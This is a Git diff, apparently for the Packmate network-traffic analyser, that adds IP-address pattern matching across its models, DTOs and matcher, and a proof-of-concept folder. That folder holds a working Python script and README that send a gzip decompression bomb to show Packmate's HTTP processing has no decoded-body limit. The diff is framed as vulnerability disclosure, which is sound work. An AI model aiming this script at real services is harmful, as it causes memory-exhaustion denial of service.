существующие matching/IP tests), 5 frontend tests (`npm run test:ip-patterns`),
|
||||||
|
lint четырёх компонентов, frontend production build и backend bootJar — успешны.
|
||||||
|
Работа с живым захватом и PostgreSQL в этом этапе не проверялась.
|
||||||
2
frontend
2
frontend
@ -1 +1 @@
|
|||||||
Subproject commit 8f23d97100f11cd6671bb62aca5ce9b6a898b865
|
Subproject commit 9896d4b104cdcfaacd0fec35a3c0e8b8f8ed69cc
|
||||||
24
poc/README.md
Normal file
24
poc/README.md
Normal file
@ -0,0 +1,24 @@
|
|||||||
|
# HTTP gzip expansion PoC
|
||||||
|
|
||||||
|
`http_gzip_expansion.py` sends an HTTP POST whose gzip body expands to the
|
||||||
|
requested number of bytes. It is intended to demonstrate that Packmate's
|
||||||
|
current `HttpProcessor` has no decoded-body limit.
|
||||||
|
|
||||||
|
Start any TCP/HTTP listener on a port configured in Packmate as an HTTP service,
|
||||||
|
then send the request. For example:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
python -m http.server 8080
|
||||||
|
python poc/http_gzip_expansion.py --port 8080 --decompressed-bytes 100MiB
|
||||||
|
```
|
||||||
|
|
||||||
|
The HTTP listener may answer with an error; Packmate still captures the request.
|
||||||
|
The connection must complete or reach Packmate's stream timeout before Packmate
|
||||||
|
processes it. Watch the Packmate JVM's heap while increasing the value gradually.
|
||||||
|
|
||||||
|
The argument accepts exact bytes or `KiB`, `MiB`, `GiB`, `KB`, `MB`, `GB`.
|
||||||
|
It controls the decoded body only; the compressed request stays much smaller
|
||||||
|
because it consists of repeated `A` bytes. TCP is a byte stream, so the OS may
|
||||||
|
split the request across several network packets.
|
||||||
|
|
||||||
|
Run this only against a listener and Packmate instance you control.
|
||||||
140
poc/http_gzip_expansion.py
Normal file
140
poc/http_gzip_expansion.py
Normal file
@ -0,0 +1,140 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Send a small gzip-compressed HTTP request with a configurable decoded size.
|
||||||
|
|
||||||
|
The target must have a TCP listener on the selected port. Packmate must capture
|
||||||
|
that connection and have the port configured as an HTTP service.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
import zlib
|
||||||
|
|
||||||
|
|
||||||
|
CHUNK_SIZE = 1024 * 1024
|
||||||
|
DEFAULT_DECOMPRESSED_BYTES = 8 * 1024 * 1024
|
||||||
|
|
||||||
|
|
||||||
|
def byte_count(value: str) -> int:
|
||||||
|
"""Parse a positive byte count, optionally with KiB/MiB/GiB suffixes."""
|
||||||
|
suffixes = {
|
||||||
|
"": 1,
|
||||||
|
"b": 1,
|
||||||
|
"kib": 1024,
|
||||||
|
"mib": 1024**2,
|
||||||
|
"gib": 1024**3,
|
||||||
|
"kb": 1000,
|
||||||
|
"mb": 1000**2,
|
||||||
|
"gb": 1000**3,
|
||||||
|
}
|
||||||
|
normalized = value.strip().lower()
|
||||||
|
number = normalized
|
||||||
|
suffix = ""
|
||||||
|
for candidate in sorted(suffixes, key=len, reverse=True):
|
||||||
|
if candidate and normalized.endswith(candidate):
|
||||||
|
number = normalized[: -len(candidate)]
|
||||||
|
suffix = candidate
|
||||||
|
break
|
||||||
|
try:
|
||||||
|
result = int(number) * suffixes[suffix]
|
||||||
|
except (KeyError, ValueError) as exc:
|
||||||
|
raise argparse.ArgumentTypeError(
|
||||||
|
"use an integer byte count, optionally with KiB/MiB/GiB"
|
||||||
|
) from exc
|
||||||
|
if result <= 0:
|
||||||
|
raise argparse.ArgumentTypeError("the decoded size must be greater than zero")
|
||||||
|
return result
|
||||||
|
|
||||||
|
|
||||||
|
def gzip_repeated_bytes(decoded_size: int, fill_byte: int = ord("A")) -> bytes:
|
||||||
|
"""Create gzip data without allocating the decoded representation."""
|
||||||
|
compressor = zlib.compressobj(level=9, wbits=16 + zlib.MAX_WBITS)
|
||||||
|
compressed_parts: list[bytes] = []
|
||||||
|
full_chunk = bytes([fill_byte]) * CHUNK_SIZE
|
||||||
|
remaining = decoded_size
|
||||||
|
|
||||||
|
while remaining:
|
||||||
|
current_size = min(remaining, CHUNK_SIZE)
|
||||||
|
compressed_parts.append(compressor.compress(full_chunk[:current_size]))
|
||||||
|
remaining -= current_size
|
||||||
|
|
||||||
|
compressed_parts.append(compressor.flush())
|
||||||
|
return b"".join(compressed_parts)
|
||||||
|
|
||||||
|
|
||||||
|
def build_request(host_header: str, path: str, decoded_size: int) -> tuple[bytes, int]:
|
||||||
|
body = gzip_repeated_bytes(decoded_size)
|
||||||
|
headers = (
|
||||||
|
f"POST {path} HTTP/1.1\r\n"
|
||||||
|
f"Host: {host_header}\r\n"
|
||||||
|
"Content-Type: application/octet-stream\r\n"
|
||||||
|
"Content-Encoding: gzip\r\n"
|
||||||
|
f"Content-Length: {len(body)}\r\n"
|
||||||
|
f"X-Packmate-Decoded-Bytes: {decoded_size}\r\n"
|
||||||
|
"Connection: close\r\n"
|
||||||
|
"\r\n"
|
||||||
|
).encode("ascii")
|
||||||
|
return headers + body, len(body)
|
||||||
|
|
||||||
|
|
||||||
|
def send_request(host: str, port: int, request: bytes, timeout: float) -> None:
|
||||||
|
with socket.create_connection((host, port), timeout=timeout) as connection:
|
||||||
|
connection.settimeout(timeout)
|
||||||
|
connection.sendall(request)
|
||||||
|
connection.shutdown(socket.SHUT_WR)
|
||||||
|
|
||||||
|
|
||||||
|
def parser() -> argparse.ArgumentParser:
|
||||||
|
result = argparse.ArgumentParser(
|
||||||
|
description=(
|
||||||
|
"Send a gzip HTTP POST to demonstrate Packmate's unbounded HTTP "
|
||||||
|
"decompression. Use only against a listener you control."
|
||||||
|
)
|
||||||
|
)
|
||||||
|
result.add_argument("--host", default="127.0.0.1", help="target host (default: loopback)")
|
||||||
|
result.add_argument("--port", required=True, type=int, help="target TCP port")
|
||||||
|
result.add_argument(
|
||||||
|
"--decompressed-bytes",
|
||||||
|
type=byte_count,
|
||||||
|
default=DEFAULT_DECOMPRESSED_BYTES,
|
||||||
|
help="decoded body size, e.g. 104857600 or 100MiB (default: 8MiB)",
|
||||||
|
)
|
||||||
|
result.add_argument("--path", default="/packmate-gzip-poc", help="HTTP request path")
|
||||||
|
result.add_argument("--timeout", default=10.0, type=float, help="connect/send timeout in seconds")
|
||||||
|
return result
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
args = parser().parse_args()
|
||||||
|
if not 1 <= args.port <= 65535:
|
||||||
|
print("error: port must be between 1 and 65535", file=sys.stderr)
|
||||||
|
return 2
|
||||||
|
if not args.path.startswith("/"):
|
||||||
|
print("error: path must start with '/'", file=sys.stderr)
|
||||||
|
return 2
|
||||||
|
|
||||||
|
request, compressed_size = build_request(
|
||||||
|
f"{args.host}:{args.port}", args.path, args.decompressed_bytes
|
||||||
|
)
|
||||||
|
ratio = args.decompressed_bytes / compressed_size
|
||||||
|
|
||||||
|
print(f"Target: {args.host}:{args.port}")
|
||||||
|
print(f"Compressed body: {compressed_size:,} bytes")
|
||||||
|
print(f"Decoded body: {args.decompressed_bytes:,} bytes")
|
||||||
|
print(f"Expansion ratio: {ratio:,.1f}x")
|
||||||
|
print(f"TCP bytes to send: {len(request):,} bytes")
|
||||||
|
|
||||||
|
try:
|
||||||
|
send_request(args.host, args.port, request, args.timeout)
|
||||||
|
except OSError as exc:
|
||||||
|
print(f"send failed: {exc}", file=sys.stderr)
|
||||||
|
return 1
|
||||||
|
|
||||||
|
print("Request sent. Wait for the stream to close or for Packmate's timeout.")
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
raise SystemExit(main())
|
||||||
60
poc/test_http_gzip_expansion.py
Normal file
60
poc/test_http_gzip_expansion.py
Normal file
@ -0,0 +1,60 @@
|
|||||||
|
import gzip
|
||||||
|
import importlib.util
|
||||||
|
from pathlib import Path
|
||||||
|
import socket
|
||||||
|
import threading
|
||||||
|
import unittest
|
||||||
|
|
||||||
|
|
||||||
|
SCRIPT_PATH = Path(__file__).with_name("http_gzip_expansion.py")
|
||||||
|
SPEC = importlib.util.spec_from_file_location("http_gzip_expansion", SCRIPT_PATH)
|
||||||
|
POC = importlib.util.module_from_spec(SPEC)
|
||||||
|
assert SPEC.loader is not None
|
||||||
|
SPEC.loader.exec_module(POC)
|
||||||
|
|
||||||
|
|
||||||
|
class HttpGzipExpansionTest(unittest.TestCase):
|
||||||
|
def test_configured_decoded_size(self):
|
||||||
|
request, compressed_size = POC.build_request("localhost:8080", "/test", 3_500_123)
|
||||||
|
headers, compressed = request.split(b"\r\n\r\n", 1)
|
||||||
|
|
||||||
|
self.assertEqual(compressed_size, len(compressed))
|
||||||
|
self.assertIn(f"Content-Length: {len(compressed)}".encode(), headers)
|
||||||
|
self.assertIn(b"X-Packmate-Decoded-Bytes: 3500123", headers)
|
||||||
|
self.assertEqual(3_500_123, len(gzip.decompress(compressed)))
|
||||||
|
|
||||||
|
def test_suffixes(self):
|
||||||
|
self.assertEqual(100 * 1024**2, POC.byte_count("100MiB"))
|
||||||
|
self.assertEqual(10_000_000, POC.byte_count("10MB"))
|
||||||
|
self.assertEqual(4096, POC.byte_count("4096"))
|
||||||
|
|
||||||
|
def test_sends_complete_request_to_tcp_listener(self):
|
||||||
|
received = bytearray()
|
||||||
|
ready = threading.Event()
|
||||||
|
address = []
|
||||||
|
|
||||||
|
def server():
|
||||||
|
with socket.socket() as listener:
|
||||||
|
listener.bind(("127.0.0.1", 0))
|
||||||
|
listener.listen(1)
|
||||||
|
address.append(listener.getsockname())
|
||||||
|
ready.set()
|
||||||
|
connection, _ = listener.accept()
|
||||||
|
with connection:
|
||||||
|
while chunk := connection.recv(65536):
|
||||||
|
received.extend(chunk)
|
||||||
|
|
||||||
|
thread = threading.Thread(target=server, daemon=True)
|
||||||
|
thread.start()
|
||||||
|
self.assertTrue(ready.wait(2))
|
||||||
|
|
||||||
|
request, _ = POC.build_request("localhost", "/test", 2 * 1024**2)
|
||||||
|
POC.send_request(address[0][0], address[0][1], request, 2)
|
||||||
|
thread.join(2)
|
||||||
|
|
||||||
|
self.assertFalse(thread.is_alive())
|
||||||
|
self.assertEqual(request, bytes(received))
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main()
|
||||||
@ -4,6 +4,7 @@ import lombok.*;
|
|||||||
import org.hibernate.Hibernate;
|
import org.hibernate.Hibernate;
|
||||||
import org.hibernate.annotations.GenericGenerator;
|
import org.hibernate.annotations.GenericGenerator;
|
||||||
import org.hibernate.annotations.Parameter;
|
import org.hibernate.annotations.Parameter;
|
||||||
|
import ru.serega6531.packmate.model.enums.PatternSearchTarget;
|
||||||
|
|
||||||
import jakarta.persistence.*;
|
import jakarta.persistence.*;
|
||||||
import java.util.Objects;
|
import java.util.Objects;
|
||||||
@ -38,6 +39,13 @@ public class FoundPattern {
|
|||||||
|
|
||||||
private int patternId;
|
private int patternId;
|
||||||
|
|
||||||
|
@Enumerated(EnumType.STRING)
|
||||||
|
private PatternSearchTarget searchTarget;
|
||||||
|
|
||||||
|
public PatternSearchTarget getSearchTarget() {
|
||||||
|
return searchTarget == null ? PatternSearchTarget.CONTENT : searchTarget;
|
||||||
|
}
|
||||||
|
|
||||||
private int startPosition;
|
private int startPosition;
|
||||||
|
|
||||||
private int endPosition;
|
private int endPosition;
|
||||||
|
|||||||
@ -47,6 +47,10 @@ public class Packet {
|
|||||||
|
|
||||||
private long timestamp;
|
private long timestamp;
|
||||||
|
|
||||||
|
private String sourceIp;
|
||||||
|
|
||||||
|
private String destinationIp;
|
||||||
|
|
||||||
private boolean incoming; // true если от клиента к серверу, иначе false
|
private boolean incoming; // true если от клиента к серверу, иначе false
|
||||||
|
|
||||||
private boolean httpProcessed = false;
|
private boolean httpProcessed = false;
|
||||||
|
|||||||
@ -3,6 +3,7 @@ package ru.serega6531.packmate.model;
|
|||||||
import jakarta.persistence.Column;
|
import jakarta.persistence.Column;
|
||||||
import jakarta.persistence.Entity;
|
import jakarta.persistence.Entity;
|
||||||
import jakarta.persistence.Enumerated;
|
import jakarta.persistence.Enumerated;
|
||||||
|
import jakarta.persistence.EnumType;
|
||||||
import jakarta.persistence.GeneratedValue;
|
import jakarta.persistence.GeneratedValue;
|
||||||
import jakarta.persistence.Id;
|
import jakarta.persistence.Id;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
@ -15,6 +16,7 @@ import org.hibernate.annotations.Parameter;
|
|||||||
import ru.serega6531.packmate.model.enums.PatternActionType;
|
import ru.serega6531.packmate.model.enums.PatternActionType;
|
||||||
import ru.serega6531.packmate.model.enums.PatternDirectionType;
|
import ru.serega6531.packmate.model.enums.PatternDirectionType;
|
||||||
import ru.serega6531.packmate.model.enums.PatternSearchType;
|
import ru.serega6531.packmate.model.enums.PatternSearchType;
|
||||||
|
import ru.serega6531.packmate.model.enums.PatternSearchTarget;
|
||||||
|
|
||||||
import java.util.Objects;
|
import java.util.Objects;
|
||||||
|
|
||||||
@ -57,6 +59,13 @@ public class Pattern {
|
|||||||
@Column(nullable = false)
|
@Column(nullable = false)
|
||||||
private PatternSearchType searchType;
|
private PatternSearchType searchType;
|
||||||
|
|
||||||
|
@Enumerated(EnumType.STRING)
|
||||||
|
private PatternSearchTarget searchTarget = PatternSearchTarget.CONTENT;
|
||||||
|
|
||||||
|
public PatternSearchTarget getSearchTarget() {
|
||||||
|
return searchTarget == null ? PatternSearchTarget.CONTENT : searchTarget;
|
||||||
|
}
|
||||||
|
|
||||||
@Enumerated
|
@Enumerated
|
||||||
@Column(nullable = false)
|
@Column(nullable = false)
|
||||||
private PatternDirectionType directionType;
|
private PatternDirectionType directionType;
|
||||||
|
|||||||
@ -0,0 +1,5 @@
|
|||||||
|
package ru.serega6531.packmate.model.enums;
|
||||||
|
|
||||||
|
public enum PatternSearchTarget {
|
||||||
|
CONTENT, SOURCE_IP, DESTINATION_IP, EITHER_IP
|
||||||
|
}
|
||||||
@ -1,11 +1,13 @@
|
|||||||
package ru.serega6531.packmate.model.pojo;
|
package ru.serega6531.packmate.model.pojo;
|
||||||
|
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
|
import ru.serega6531.packmate.model.enums.PatternSearchTarget;
|
||||||
|
|
||||||
@Data
|
@Data
|
||||||
public class FoundPatternDto {
|
public class FoundPatternDto {
|
||||||
|
|
||||||
private int patternId;
|
private int patternId;
|
||||||
|
private PatternSearchTarget searchTarget;
|
||||||
private int startPosition;
|
private int startPosition;
|
||||||
private int endPosition;
|
private int endPosition;
|
||||||
|
|
||||||
|
|||||||
@ -10,6 +10,8 @@ public class PacketDto {
|
|||||||
private Long id;
|
private Long id;
|
||||||
private Set<FoundPatternDto> matches;
|
private Set<FoundPatternDto> matches;
|
||||||
private long timestamp;
|
private long timestamp;
|
||||||
|
private String sourceIp;
|
||||||
|
private String destinationIp;
|
||||||
private boolean incoming;
|
private boolean incoming;
|
||||||
private boolean ungzipped;
|
private boolean ungzipped;
|
||||||
private boolean webSocketParsed;
|
private boolean webSocketParsed;
|
||||||
|
|||||||
@ -4,6 +4,7 @@ import lombok.Data;
|
|||||||
import ru.serega6531.packmate.model.enums.PatternActionType;
|
import ru.serega6531.packmate.model.enums.PatternActionType;
|
||||||
import ru.serega6531.packmate.model.enums.PatternDirectionType;
|
import ru.serega6531.packmate.model.enums.PatternDirectionType;
|
||||||
import ru.serega6531.packmate.model.enums.PatternSearchType;
|
import ru.serega6531.packmate.model.enums.PatternSearchType;
|
||||||
|
import ru.serega6531.packmate.model.enums.PatternSearchTarget;
|
||||||
|
|
||||||
@Data
|
@Data
|
||||||
public class PatternCreateDto {
|
public class PatternCreateDto {
|
||||||
@ -12,6 +13,7 @@ public class PatternCreateDto {
|
|||||||
private String value;
|
private String value;
|
||||||
private String color;
|
private String color;
|
||||||
private PatternSearchType searchType;
|
private PatternSearchType searchType;
|
||||||
|
private PatternSearchTarget searchTarget = PatternSearchTarget.CONTENT;
|
||||||
private PatternDirectionType directionType;
|
private PatternDirectionType directionType;
|
||||||
private PatternActionType actionType;
|
private PatternActionType actionType;
|
||||||
private Integer serviceId;
|
private Integer serviceId;
|
||||||
|
|||||||
@ -4,6 +4,7 @@ import lombok.Data;
|
|||||||
import ru.serega6531.packmate.model.enums.PatternActionType;
|
import ru.serega6531.packmate.model.enums.PatternActionType;
|
||||||
import ru.serega6531.packmate.model.enums.PatternDirectionType;
|
import ru.serega6531.packmate.model.enums.PatternDirectionType;
|
||||||
import ru.serega6531.packmate.model.enums.PatternSearchType;
|
import ru.serega6531.packmate.model.enums.PatternSearchType;
|
||||||
|
import ru.serega6531.packmate.model.enums.PatternSearchTarget;
|
||||||
|
|
||||||
@Data
|
@Data
|
||||||
public class PatternDto {
|
public class PatternDto {
|
||||||
@ -15,6 +16,7 @@ public class PatternDto {
|
|||||||
private String value;
|
private String value;
|
||||||
private String color;
|
private String color;
|
||||||
private PatternSearchType searchType;
|
private PatternSearchType searchType;
|
||||||
|
private PatternSearchTarget searchTarget;
|
||||||
private PatternDirectionType directionType;
|
private PatternDirectionType directionType;
|
||||||
private PatternActionType actionType;
|
private PatternActionType actionType;
|
||||||
private Integer serviceId;
|
private Integer serviceId;
|
||||||
|
|||||||
@ -165,6 +165,8 @@ public abstract class AbstractPcapWorker implements PcapWorker, PacketListener {
|
|||||||
.tempId(packetIdCounter++)
|
.tempId(packetIdCounter++)
|
||||||
.ttl(ttl)
|
.ttl(ttl)
|
||||||
.timestamp(time)
|
.timestamp(time)
|
||||||
|
.sourceIp(sourceIp.getHostAddress())
|
||||||
|
.destinationIp(destIp.getHostAddress())
|
||||||
.incoming(incoming)
|
.incoming(incoming)
|
||||||
.content(content)
|
.content(content)
|
||||||
.build();
|
.build();
|
||||||
|
|||||||
@ -4,6 +4,9 @@ import lombok.SneakyThrows;
|
|||||||
import org.springframework.security.crypto.codec.Hex;
|
import org.springframework.security.crypto.codec.Hex;
|
||||||
import ru.serega6531.packmate.model.FoundPattern;
|
import ru.serega6531.packmate.model.FoundPattern;
|
||||||
import ru.serega6531.packmate.model.Pattern;
|
import ru.serega6531.packmate.model.Pattern;
|
||||||
|
import ru.serega6531.packmate.model.Packet;
|
||||||
|
import ru.serega6531.packmate.model.enums.PatternSearchTarget;
|
||||||
|
import ru.serega6531.packmate.model.enums.PatternSearchType;
|
||||||
import ru.serega6531.packmate.utils.KMPByteSearcher;
|
import ru.serega6531.packmate.utils.KMPByteSearcher;
|
||||||
import ru.serega6531.packmate.utils.KMPStringSearcher;
|
import ru.serega6531.packmate.utils.KMPStringSearcher;
|
||||||
|
|
||||||
@ -22,13 +25,25 @@ public class PatternMatcher {
|
|||||||
private final byte[] contentBytes;
|
private final byte[] contentBytes;
|
||||||
private final String content;
|
private final String content;
|
||||||
private final List<Pattern> patterns;
|
private final List<Pattern> patterns;
|
||||||
|
private final String sourceIp;
|
||||||
|
private final String destinationIp;
|
||||||
|
|
||||||
private final Set<FoundPattern> result = new HashSet<>();
|
private final Set<FoundPattern> result = new HashSet<>();
|
||||||
|
|
||||||
public PatternMatcher(byte[] contentBytes, List<Pattern> patterns) {
|
public PatternMatcher(byte[] contentBytes, List<Pattern> patterns) {
|
||||||
|
this(contentBytes, null, null, patterns);
|
||||||
|
}
|
||||||
|
|
||||||
|
public PatternMatcher(Packet packet, List<Pattern> patterns) {
|
||||||
|
this(packet.getContent(), packet.getSourceIp(), packet.getDestinationIp(), patterns);
|
||||||
|
}
|
||||||
|
|
||||||
|
private PatternMatcher(byte[] contentBytes, String sourceIp, String destinationIp, List<Pattern> patterns) {
|
||||||
this.contentBytes = contentBytes;
|
this.contentBytes = contentBytes;
|
||||||
this.content = new String(contentBytes);
|
this.content = new String(contentBytes);
|
||||||
this.patterns = patterns;
|
this.patterns = patterns;
|
||||||
|
this.sourceIp = sourceIp;
|
||||||
|
this.destinationIp = destinationIp;
|
||||||
}
|
}
|
||||||
|
|
||||||
public Set<FoundPattern> findMatches() {
|
public Set<FoundPattern> findMatches() {
|
||||||
@ -37,6 +52,10 @@ public class PatternMatcher {
|
|||||||
}
|
}
|
||||||
|
|
||||||
private void match(Pattern pattern) {
|
private void match(Pattern pattern) {
|
||||||
|
if (pattern.getSearchTarget() != PatternSearchTarget.CONTENT) {
|
||||||
|
matchIpAddresses(pattern);
|
||||||
|
return;
|
||||||
|
}
|
||||||
switch (pattern.getSearchType()) {
|
switch (pattern.getSearchType()) {
|
||||||
case REGEX -> matchRegex(pattern);
|
case REGEX -> matchRegex(pattern);
|
||||||
case SUBSTRING -> matchSubstring(pattern);
|
case SUBSTRING -> matchSubstring(pattern);
|
||||||
@ -44,6 +63,34 @@ public class PatternMatcher {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private void matchIpAddresses(Pattern pattern) {
|
||||||
|
requireIpRegex(pattern);
|
||||||
|
if (pattern.getSearchTarget() != PatternSearchTarget.DESTINATION_IP) {
|
||||||
|
matchIp(pattern, sourceIp, PatternSearchTarget.SOURCE_IP);
|
||||||
|
}
|
||||||
|
if (pattern.getSearchTarget() != PatternSearchTarget.SOURCE_IP) {
|
||||||
|
matchIp(pattern, destinationIp, PatternSearchTarget.DESTINATION_IP);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void matchIp(Pattern pattern, String address, PatternSearchTarget target) {
|
||||||
|
if (address != null && !address.isEmpty() && compileRegex(pattern).matcher(address).find()) {
|
||||||
|
// An address match marks the endpoint, never a range in the payload.
|
||||||
|
result.add(FoundPattern.builder()
|
||||||
|
.patternId(pattern.getId())
|
||||||
|
.searchTarget(target)
|
||||||
|
.startPosition(0)
|
||||||
|
.endPosition(address.length() - 1)
|
||||||
|
.build());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void requireIpRegex(Pattern pattern) {
|
||||||
|
if (pattern.getSearchTarget() != PatternSearchTarget.CONTENT && pattern.getSearchType() != PatternSearchType.REGEX) {
|
||||||
|
throw new IllegalArgumentException("IP address patterns must use regular expressions");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
private void matchRegex(Pattern pattern) {
|
private void matchRegex(Pattern pattern) {
|
||||||
final var regex = compileRegex(pattern);
|
final var regex = compileRegex(pattern);
|
||||||
final Matcher matcher = regex.matcher(content);
|
final Matcher matcher = regex.matcher(content);
|
||||||
@ -105,7 +152,7 @@ public class PatternMatcher {
|
|||||||
}
|
}
|
||||||
|
|
||||||
private void addIfPossible(FoundPattern found) {
|
private void addIfPossible(FoundPattern found) {
|
||||||
if (result.stream().noneMatch(match ->
|
if (result.stream().filter(match -> match.getSearchTarget() == found.getSearchTarget()).noneMatch(match ->
|
||||||
between(match.getStartPosition(), match.getEndPosition(), found.getStartPosition()) ||
|
between(match.getStartPosition(), match.getEndPosition(), found.getStartPosition()) ||
|
||||||
between(match.getStartPosition(), match.getEndPosition(), found.getEndPosition()))) {
|
between(match.getStartPosition(), match.getEndPosition(), found.getEndPosition()))) {
|
||||||
result.add(found);
|
result.add(found);
|
||||||
@ -117,6 +164,7 @@ public class PatternMatcher {
|
|||||||
}
|
}
|
||||||
|
|
||||||
static void compilePattern(Pattern pattern) {
|
static void compilePattern(Pattern pattern) {
|
||||||
|
requireIpRegex(pattern);
|
||||||
switch (pattern.getSearchType()) {
|
switch (pattern.getSearchType()) {
|
||||||
case REGEX -> compileRegex(pattern);
|
case REGEX -> compileRegex(pattern);
|
||||||
case SUBSTRING -> compileStringKMP(pattern);
|
case SUBSTRING -> compileStringKMP(pattern);
|
||||||
|
|||||||
@ -10,6 +10,7 @@ import org.springframework.transaction.annotation.Transactional;
|
|||||||
import ru.serega6531.packmate.model.CtfService;
|
import ru.serega6531.packmate.model.CtfService;
|
||||||
import ru.serega6531.packmate.model.FoundPattern;
|
import ru.serega6531.packmate.model.FoundPattern;
|
||||||
import ru.serega6531.packmate.model.Pattern;
|
import ru.serega6531.packmate.model.Pattern;
|
||||||
|
import ru.serega6531.packmate.model.Packet;
|
||||||
import ru.serega6531.packmate.model.enums.PatternActionType;
|
import ru.serega6531.packmate.model.enums.PatternActionType;
|
||||||
import ru.serega6531.packmate.model.enums.PatternDirectionType;
|
import ru.serega6531.packmate.model.enums.PatternDirectionType;
|
||||||
import ru.serega6531.packmate.model.enums.SubscriptionMessageType;
|
import ru.serega6531.packmate.model.enums.SubscriptionMessageType;
|
||||||
@ -63,18 +64,18 @@ public class PatternService {
|
|||||||
return patterns.values();
|
return patterns.values();
|
||||||
}
|
}
|
||||||
|
|
||||||
public Set<FoundPattern> findMatches(byte[] bytes, CtfService service, PatternDirectionType directionType, PatternActionType actionType) {
|
public Set<FoundPattern> findMatches(Packet packet, CtfService service, PatternDirectionType directionType, PatternActionType actionType) {
|
||||||
final List<Pattern> list = patterns.values().stream()
|
final List<Pattern> list = patterns.values().stream()
|
||||||
.filter(pattern -> pattern.isEnabled() && !pattern.isDeleted())
|
.filter(pattern -> pattern.isEnabled() && !pattern.isDeleted())
|
||||||
.filter(p -> p.getServiceId() == null || p.getServiceId().equals(service.getPort()))
|
.filter(p -> p.getServiceId() == null || p.getServiceId().equals(service.getPort()))
|
||||||
.filter(p -> p.getActionType() == actionType)
|
.filter(p -> p.getActionType() == actionType)
|
||||||
.filter(p -> p.getDirectionType() == directionType || p.getDirectionType() == PatternDirectionType.BOTH)
|
.filter(p -> p.getDirectionType() == directionType || p.getDirectionType() == PatternDirectionType.BOTH)
|
||||||
.toList();
|
.toList();
|
||||||
return new PatternMatcher(bytes, list).findMatches();
|
return new PatternMatcher(packet, list).findMatches();
|
||||||
}
|
}
|
||||||
|
|
||||||
public Set<FoundPattern> matchOne(byte[] bytes, Pattern pattern) {
|
public Set<FoundPattern> matchOne(Packet packet, Pattern pattern) {
|
||||||
return new PatternMatcher(bytes, List.of(pattern)).findMatches();
|
return new PatternMatcher(packet, List.of(pattern)).findMatches();
|
||||||
}
|
}
|
||||||
|
|
||||||
public void enable(int id, boolean enabled) {
|
public void enable(int id, boolean enabled) {
|
||||||
|
|||||||
@ -193,7 +193,7 @@ public class StreamService {
|
|||||||
|
|
||||||
for (Packet packet : packets) {
|
for (Packet packet : packets) {
|
||||||
PatternDirectionType direction = packet.isIncoming() ? PatternDirectionType.INPUT : PatternDirectionType.OUTPUT;
|
PatternDirectionType direction = packet.isIncoming() ? PatternDirectionType.INPUT : PatternDirectionType.OUTPUT;
|
||||||
final Set<FoundPattern> matches = patternService.findMatches(packet.getContent(), service,
|
final Set<FoundPattern> matches = patternService.findMatches(packet, service,
|
||||||
direction, PatternActionType.FIND);
|
direction, PatternActionType.FIND);
|
||||||
|
|
||||||
packet.setMatches(matches);
|
packet.setMatches(matches);
|
||||||
@ -218,7 +218,7 @@ public class StreamService {
|
|||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
final Set<FoundPattern> matches = patternService.matchOne(packet.getContent(), pattern);
|
final Set<FoundPattern> matches = patternService.matchOne(packet, pattern);
|
||||||
|
|
||||||
if (!matches.isEmpty()) {
|
if (!matches.isEmpty()) {
|
||||||
packet.getMatches().addAll(matches);
|
packet.getMatches().addAll(matches);
|
||||||
@ -234,7 +234,7 @@ public class StreamService {
|
|||||||
private boolean isStreamIgnored(List<Packet> packets, CtfService service) {
|
private boolean isStreamIgnored(List<Packet> packets, CtfService service) {
|
||||||
for (Packet packet : packets) {
|
for (Packet packet : packets) {
|
||||||
PatternDirectionType direction = packet.isIncoming() ? PatternDirectionType.INPUT : PatternDirectionType.OUTPUT;
|
PatternDirectionType direction = packet.isIncoming() ? PatternDirectionType.INPUT : PatternDirectionType.OUTPUT;
|
||||||
final Set<FoundPattern> matches = patternService.findMatches(packet.getContent(), service,
|
final Set<FoundPattern> matches = patternService.findMatches(packet, service,
|
||||||
direction, PatternActionType.IGNORE);
|
direction, PatternActionType.IGNORE);
|
||||||
if (!matches.isEmpty()) {
|
if (!matches.isEmpty()) {
|
||||||
return true;
|
return true;
|
||||||
|
|||||||
@ -47,11 +47,15 @@ public class PacketsMerger {
|
|||||||
final boolean webSocketParsed = cut.stream().anyMatch(Packet::isWebSocketParsed);
|
final boolean webSocketParsed = cut.stream().anyMatch(Packet::isWebSocketParsed);
|
||||||
final boolean tlsDecrypted = cut.get(0).isTlsDecrypted();
|
final boolean tlsDecrypted = cut.get(0).isTlsDecrypted();
|
||||||
final boolean incoming = cut.get(0).isIncoming();
|
final boolean incoming = cut.get(0).isIncoming();
|
||||||
|
final String sourceIp = cut.get(0).getSourceIp();
|
||||||
|
final String destinationIp = cut.get(0).getDestinationIp();
|
||||||
final byte[] content = PacketUtils.mergePackets(cut);
|
final byte[] content = PacketUtils.mergePackets(cut);
|
||||||
|
|
||||||
packets.removeAll(cut);
|
packets.removeAll(cut);
|
||||||
packets.add(start, Packet.builder()
|
packets.add(start, Packet.builder()
|
||||||
.incoming(incoming)
|
.incoming(incoming)
|
||||||
|
.sourceIp(sourceIp)
|
||||||
|
.destinationIp(destinationIp)
|
||||||
.timestamp(timestamp)
|
.timestamp(timestamp)
|
||||||
.httpProcessed(httpProcessed)
|
.httpProcessed(httpProcessed)
|
||||||
.webSocketParsed(webSocketParsed)
|
.webSocketParsed(webSocketParsed)
|
||||||
|
|||||||
@ -0,0 +1,55 @@
|
|||||||
|
package ru.serega6531.packmate;
|
||||||
|
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.CsvSource;
|
||||||
|
import ru.serega6531.packmate.configuration.ApplicationConfiguration;
|
||||||
|
import ru.serega6531.packmate.model.Packet;
|
||||||
